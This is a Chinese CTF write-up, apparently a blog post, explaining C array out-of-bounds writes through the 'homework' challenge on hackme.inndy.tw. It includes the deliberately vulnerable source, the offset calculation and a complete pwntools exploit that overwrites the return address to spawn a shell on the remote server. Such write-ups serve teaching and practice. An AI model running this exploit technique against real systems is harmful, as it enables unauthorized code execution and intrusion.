欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

数组下标越界

程序员文章站 2024-03-15 13:48:41
...

原理:因为c语言不会检测数组下标,所以如果我们给数组一个超出它大小的下标,就会照成数组越界。如果是想数组中写入数据的话,就会造成数据写入到不属于数组的地方,或者说如果读取数据的话,就会读取到别的地方的数据。

因为数组地址是自低往高增长,而栈的地址是自高向下降低,所以如果我们将数组下标根据栈内的空间的分布,设置为特定的值,就可以修改或者是查看我们想要查看的地址的值。比如将返回地址设置成我们想要调用函数的地址。

具体可以看一下这篇博客:https://blog.csdn.net/human_evolution/article/details/40752047

题目:homework (hackme.inndy.tw)

hint: Index out  bound ,return address ,并且给了程序源码

题目防护机制:

数组下标越界

开启了NX和Canary

源码为:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

char name[1024];

void call_me_maybe()
{
    system("/bin/sh");
}

void unbuffer_io()
{
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
}

void set_timeout()
{
    alarm(120);
}

void ask_name()
{
    printf("What's your name? ");
    gets(name);
}

void say_goodbye()
{
    printf("Goodbye, %s\n", name);
}

void run_program()
{
    int arr[10], i, v, act;

    for(i = 0; i < 10; i++)
        arr[i] = 0;

    while(1) {
        puts("0 > exit");
        puts("1 > edit number");
        puts("2 > show number");
        puts("3 > sum");
        puts("4 > dump all numbers");
        printf(" > ");
        scanf("%d", &act);

        switch(act) {
            case 0:
                return;
            case 1:
                printf("Index to edit: ");
                scanf("%d", &i);
                printf("How many? ");
                scanf("%d", &v);
                arr[i] = v;
                break;
            case 2:
                printf("Index to show: ");
                scanf("%d", &i);
                printf("arr[%d] is %d\n", i, arr[i]);
                break;
            case 3:
                v = 0;
                for(i = 0; i < 10; i++)
                    v += arr[i];
                printf("Sum is %d\n", v);
                break;
            case 4:
                for(i = 0; i < 10; i++)
                    printf("arr[%d] is %d\n", i, arr[i]);
                break;
        }
    }
}

int main()
{
    set_timeout();
    unbuffer_io();
    ask_name();
    run_program();
    say_goodbye();
    return 0;
}

程序逻辑:

程序要求输入一个用户名,然后就执行run_program函数 

我们可以输入一个数组下标和值来改变数组的值


源码里有个函数调用了system函数,结合hint中的retrunaddress 可以猜测是要将返回地址覆盖成call_me_maybe这个函数的地址 来获取shell

因为题目开启了Canary ,所以不能直接栈溢出来覆盖返回地址

hint 还给了index out bound 

结合题目源码没有对数组下标进行限制,所以我们可以用数组越界来修改返回地址

数组下标越界

数组在栈中的位置是0x34,和返回地址的距离是0x34+8

所以输入的数组下标为14 

exp:

from pwn import*
context.log_level="debug"
#p = process('./homework')
p = remote('hackme.inndy.tw', 7701)
p.recvuntil("What's your name?")
p.sendline('aaaa')

p.recvuntil(" > ")
p.sendline("1")

p.recv()
p.sendline("14")

p.recvuntil("How many?")
p.sendline(str(0x080485fb))

p.sendline("0")#make program return to target function

p.interactive()